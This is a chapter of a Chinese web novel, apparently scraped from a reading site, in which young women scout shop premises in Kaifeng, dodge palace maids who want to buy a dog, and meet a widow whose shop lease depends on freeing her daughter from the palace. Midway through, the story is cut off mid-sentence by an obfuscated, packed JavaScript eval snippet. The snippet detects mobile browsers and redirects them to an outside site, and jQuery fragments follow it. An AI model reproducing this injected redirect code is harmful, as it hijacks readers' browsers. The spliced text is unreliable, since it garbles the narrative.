默认冷灰
24号文字
方正启体

10. 第十章

作者:浅滩的鱼本书字数:K更新时间:
    第二日,天高气清,阳光不烈,凉风习习,是个很适合出门看铺面的日子。


    一大早,任渺就带着人驱车到自家客院,接上周愈姐妹俩出门,照着定好的路线和计划去看选定的几家铺面。


    “阿愈,安安,这头一间过个桥就到。就在外城惠民南局后头,东大街普光坊边。坊中有口甜水井,买水算很方便了。斜后面过街就是国子监和太学,主看大方脉最好。


    若要主诊妇科,右边儿有法云寺,右前边儿坊南是五岳观,普光坊里头本身也不小。坊里头大多人家的女子都做纺织绣娘生意。”


    灵儿眨巴眨巴眼,问:“巧云姐,做纺织绣娘生意的很特别么?”


    做为被任命为这一次寻铺子的主负责人巧云听问,认真解释:“她们多主管家事,家中地位颇高。绣娘的双手最紧要,又比旁人家大方。


    咱们家中女子用的护手膏,香体膏这些你们不都说好用吗?你阿愈姐对女子保养的心得都被练出来了,针灸术治肩颈也厉害,这可都正对口。来,帮我一下。”


    她在桌上铺开一张平面图,灵儿负责压角,她指着图继续介绍:“这铺子东西两间,为十五方和十三方。别的都好,就是太过狭长,又是一层不带院儿的。


    若要这个铺面儿,药材就得另租个库,人也得另寻住处。最近一间能租的院子在北坊边上,做存药库和住人都还算宽敞舒适,就是来回有点儿距离。”


    “我们姐俩走惯了路,远点儿倒是没关系。”周愈的牙咬着下唇一点皮肉磨啊磨,认真看图好一会,才比着图说:“只是这两间屋,嗯,太长了些。


    只做柜面卖成药还好,做医馆却不大妥当。若卖成药,哪还能找出比西边惠民局里还便宜实惠的?而且真要选这,装修很难办。”


    周安嘟了嘟唇,她是不想这些,不喜欢的是:“这样的屋子怎么装都憋屈,我们俩一天到晚在这里头待着呢,不好,不好。”


    任渺放下帘子,笑道:“我就知道你们不会喜欢这铺子格局。但这间铺较其它最好处,是所处位置极好,租金还比咱们预算要低很多,回头再讲讲,指不准能再压低一截儿。


    难得能找到间这样儿的呢,来都来了,又是昨儿就约好了的,宅务所伙计估计已来开了门,咱实处看过,商量看看能不能在装修上扬长避短,万一能抢救过来呢?”


    几人下车,转到铺前,却见大开的商铺前边有两排各三个黄衣女使侍立,门两边守着两个以金丝蓝纱包髻,着及膝浅紫长褙的女使。


    一看她们下车,紫衣女使其中一个就迎上前,福了一礼,笑道:“哪位是任小娘子?”


    周愈神色微讶,正想询问,却见着巧云也是一头雾水,便知她们都不知情,于是拉过妹妹不让吱声。


    任渺上下打量完她们的装束,方上前回礼,笑答:“小女子便是,这位娘子,请问有何指教?”


    女使侧过身,往里请道:“我们掌事等您许久,任小娘子,请。”


    “方便问问,你们掌事找我为何事么?”


    “任小娘子进去便知。”女使见她不动,笑意不变:“不过是桩买卖,小娘子放心,请。”


    什么买卖,都寻到她要看的铺子里来了。任渺心中疑惑,行动却不踌躇,抬脚就往里去。却听后头巧云道:“我们小娘子身边缺不了人,即只是买卖,你们拦我俩个作甚?”


    任渺回头,便见巧云和灵儿被两个侍女拦住不让进。她看向引路的紫衣女使,眉头一挑,停下步子不动了。


    紫衣女使见状,对外摆摆手,笑道:“既是贴身女使,放进来罢。请另两位去隔间,备上茶水果点稍等。”


    屋里边摆着个精巧茶案,面上麦穗纹漂亮极了。下方一把交椅,一个小几。


    茶案后头坐着个身穿渥褚底秋波蓝边及踝长褙,头戴金丝如意纹元宝高冠的年轻女使,想来就是她们掌事了。


    交椅上坐着的矮个杂须中年汉子,让任渺觉着格外眼熟。


    她看了看,屋里并没有多余的座儿。自把手往后一背,笑道:“这位掌事该不会是这间铺子的主人吧?


    我们这都没看定,主人家怎的这般大阵仗?”


    掌事自顾自品茶,并未作答。


    杂须汉子站起身,搓着手对她笑道:“哎呦呦,小娘子不记得老小儿,可还记得昨儿相国寺口,第二个卖狗摊位上那只可爱的五红犬儿?”


    “哦,是您啊?老板家的狗儿很漂亮,怎么会不记得。”任渺恍然大悟,眼一转,便拍着掌哈哈笑道:“只是我家里那俩小祖宗要养好,就够叫人折腾,实在是腾不出手来养两样狗儿。


    老板家的小可爱实好,只我没那福气,老板莫见怪。”


    说着她就抱手告辞道:“老板和这铺主人既有交情,那在下就不多叨扰了,几位请便。”


    “哎,哎~小老儿是买不是卖,小娘子留步啊~”狗老板一句话没来的及多说,就见她转身,带着巧云两个就往外去,着急地跟在后头高声喊她。


    门口的紫衣侍女一惊,没料到她们仨是这反应,忙来拦她们,只是一个人哪里拦得住她三个?


    就她们的利索劲儿,两下就冲出重围到马车边。巧云高声喊两下,听到应答就在马车里,三人略分先后,几乎是一道跳上车。


    任渺忙低声道:“从舟,快,直接去热闹街那两间带院儿的铺子。”


    驾驶座儿上的从舟往那铺子门口追出来的狗老板身上一瞧,龇牙一笑:“我赶车,小娘子放心,包她们追不上的。”


    她点头,又捉着后头上车的灵儿,悄声吩咐:“你快跑回家,告诉家中人,若有人来问大白的孩儿,就要阿武哥机灵些,把狗儿都抱出来给她们细细看,好好看。


    哦,对了,大白也弄精神些,一道给她们展示展示。只一点,一但她们满意要买,就把事儿都推到我身上来。没我同意,千万千万,不许松口。明白了吗?”


    灵儿抿着唇听得很认真,猛猛点头。见她没了要说的,就从另一边跳下车,提着裙摆就飞快跑走,眨眼没了影子。


    见她矮身钻进车,坐里头等的周愈不解地问:“怎么了这是?”


    任渺一坐下就翘起唇角,眼冒精光:“咱手上有个最好的铺子,只是之前没法,今儿本不打算去的,却遇上这一遭,想是咱们有福。


    那个铺子,地段铺面后院无一不好,我包你们喜欢。”


    巧云已把那铺子的图找出来铺在桌上,笑道:“这铺子在内城热闹街热闹坊,两间都是十五方,四围步数差不离,还正对着大街。后带着院子,有一间小屋带俩厢房并一口清水井。


    西去不远是大内,南边挨着潘楼,过潘楼东转就是望春门,出去了,华阳王府就在望春门外边上寿春坊里。北边正对惠和坊,四周围街市热闹,做生意的女子多。


    热闹坊里头还有条丽人巷,都是姐儿楼。这一围啊,和街名一样,是极热闹处。你们就是只看妇女疾患都能立住脚。这两间屋里头的墙上还画有山水图,可好看了。”


    周愈看着图,越看越满意,听这介绍就觉奇怪:“这样好的铺子,怎么还能留到现在租不出去?是太贵了还是?”


    任渺和巧云对视一眼,接过话头,笑道:“这地段照常来说,轮不到咱,租金肯定也是超了咱预算的。王家这铺子带院还带井,照常算,我估摸着最低年需四百五十贯左右。


    但现在,这么好的铺子,只要满足主人的要求,就能按开封最低租金长租十五年。外城边最低铺价低至每间每日两百文。


    咱前头看的那个,格局那么不好,可都要二百九十五文一间,还抢手着呢。要按我估算的,这个铺子本身价值,至少每间需五百文往上。这一来一回,直接折了近六成价。


    若能租到手,就是只按低价租咱三年,等铺子名声做出去,立起来,以后都按原价交租,我们也赚大发了。”


    “什么要求?”周愈很好奇,连周安一双眼也从糕果上拔出来,竖起了耳朵。


    巧云拿帕子给周安,要她擦擦嘴角,叹道:“主人家有个女儿在宫里,据说先前是李皇太妃院儿里的二等女使,已过了最高出宫年限还未得准放出,最近还联系不到人了。


    夏荷婶婶就说,哪个家中有关系的能帮着往里递一句话,叫人出来一见,可免费租一年。若是能叫她女儿出宫,愿意最低价长租十五年。”


    周愈摇头:“能在宫里说得上话的,看上她这铺子也就强租了。大多数人,哪儿管得着后宫的事儿?


    这不是租不租的事儿,她根本就保不住那铺面。我看咱租下来天天得担心的是,什么时候要收拾铺盖滚蛋。”


    巧云悄声道:“这个不用担心,这家主人是极硬气的。”


    “世上事,光凭硬气顶得什么用呢。”周愈小小年纪已在外游医两年,对巧云这样轻巧的说法,不敢苟同。


    巧云笑道:“你听我说来,就明白了。很久之前,宫里就有太监想强弄到这铺子,男主子王朗当即写了血状敲响登闻鼓喊冤,然后一头撞死在宫门前。


    婶婶,就是女主人拿血状上殿,状告太监强占民宅。那时大家伙才知,婶婶家中两个儿子,还曾是早年在对永夏的保卫战上牺牲的两个副将。”


    周安盘算一下,感觉不对:“要是这样,为啥不求官家让她女儿出宫?”


    “嗐,你得看时间啊,当时文宗才登基不久,她家幼女八岁未满,不到选进宫的年纪。”巧云手一挥,又说:“你们听我说完呢。


    那一回啊,官家不但处理了那大太监,还特下了诏给婶婶,说她家院子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799650|190688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,没有主人自愿,谁也不许动。若有,特许其拿圣诏直入宫门面圣诉冤。”


    周愈觉得甚是稀奇,又很奇怪:“渺姐姐,刚刚那铺面里的掌事是什么身份?咱这会引人过去就能解决事儿了?”


    “你们没瞧出来?人家那衣衫料子都是苏州新进的贡品,款式是宫中最时新的样式。”巧云双眼亮晶晶的,又低声道:“现在就怕两件事。


    一怕她们身份不够,二怕她们嫌麻烦不想淌浑水。”


    任渺眨眨眼:“能穿上时新进贡料子的女使,伺候的人身份低不到哪儿去。只要她们肯来王家铺,那就有八成准了。”


    王家铺面两间面临热闹街,恰当的进深十分适合隔出内外诊室。从里门入后院,三间屋子古朴精致,主屋还带二楼。东角里有个小后门往外去。


    小巧的院子里有一棵枣树一口井,悠悠阳光洒满庭院,似乎留住了一段梦中时光。


    院中摆着长桌条凳,一名苍白消瘦,头发黑白间半,眉间皱褶深深,有缕忧愁总难消的布衣妇人端了茶水果盘一一摆上。


    那布满皱纹的眼角眉梢,忧郁之上盖着浅浅的笑,很是亲和。摆完东西,她对着任渺福了一礼:“您就是巧云嘴里的小娘子吧?


    恩人,寒舍里只有些粗茶简食,招待不周还请莫见怪,快请上座。”


    任渺抱着妇人的胳膊不让她拜,和巧云一起将她按在座上,笑道:“夏婶婶是长辈,哪有长辈对晚辈行礼的?


    婶婶先坐,最近婶婶还好么?要是缺什么就和巧云说,她自会把东西给您送来。”


    夏荷牵着巧云的手,看向任渺的眼中含泪:“什么都不缺,都有。多亏了小娘子心善,不然老婆子早就饿死在闹市里了。


    唉~你们说,我这老婆子一把年纪了,还能活多久?若不是...这屋院就是直接送与小娘子又何妨。”


    巧云提壶给三人倒上茶,怪道:“那可不成,阿枣姐姐要是能顺利出宫,您和这屋院就是她靠山,怎么能随随便便送人。”


    “就是。”任渺喝一口茶,瞥见后门露的一角衣衫,便笑道:“我只指望着,能早些用最低的价钱,从婶婶手里租到这铺面。万一要成了,婶婶可不许反悔啊。”


    “真...真的可...”夏荷激动得双目一睁,眼中泪滚滚落下,双手抖的不成样子,撇开凳子就要往下跪:“多谢小娘子成全!


    我儿要能出来,老妇人愿把铺子送给小娘子,此生都愿与大恩人为奴为仆。”


    “婶婶这是作什么?”任渺忙扶住她,伸手打了打自己的嘴,怪道:“哎呀,瞧我这破嘴,谈都没谈,我这就乱说个什么劲儿呐。”


    巧云揽过夏荷往屋里去,忙道:“婶婶快别哭了,来,我扶您去里边缓缓。”


    “哎,对,婶婶快进屋缓缓,外边有我们看着呢。”


    任渺跟着送了一半,安慰安慰,反身来扶起长条凳子,又坐回了原先的位置:“来了。”


    灵儿把驴子绑在后门拴马桩上,取下头上防尘纱笠,凑过来小声道:“已要往这边来。”


    “看着狗儿们,她们什么反应?”任渺给她倒了杯水。


    “我偷瞧着,那掌事可喜欢二白。”灵儿跨坐在凳上,一口饮尽了,抹了抹唇小声道:“以前来咱家见到狗儿的姐姐们,大多喜欢乖顺的三白,这宫里来的管事,真是与众不同。”


    任渺唇角微勾,正就见转出去的周愈两姐妹又转进来了,便不多说,只叫灵儿进屋照顾夏荷,把巧云换出来。


    “这些空地都可以摆上晒药架,弄个梯子,三面屋顶也能晾晒。西屋可以存药磨药,东屋能隔出空间来做疗室...”


    来来回回地看过,周愈对这是越来越喜欢,她在院子里比划着安排,转过身看到任渺,眼中是满满的笑:“渺姐姐,我好喜欢这里,就像青州的家一样喜欢。


    要是我们能用这铺子开医馆,我一定要把阿翁接来。有阿翁来坐镇,我们医馆一定能办得很好。”


    周安占着一块空位,抿着唇,笑得很腼腆:“姐,这儿我想要放个石磨。”说完又挠着头,很是纠结:“姐,阿翁来了,还是在药库坐镇吧,不然所有人都要被他骂走了。”


    “哎呀,阿翁这些年脾气好很多了。”周愈面色有些讪讪的,说得很是心虚。没等别人反驳,自己就先没了立场:“药库,好像也很重要的哈,是得阿翁管咱才放心...”


    任渺玩笑道:“你们俩这是都把这儿当家来规划,看来我是什么都不用问了。”


    前边忽传来一声阴柔尖利地呵斥:


    “魏副都知不是说了吗,这院儿他租下了。到底是哪家吃了熊心豹子胆,又把招租消息散出去了。”


    “里面的人耳朵聋了,没听见谁来了吗,还不快都滚出来!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)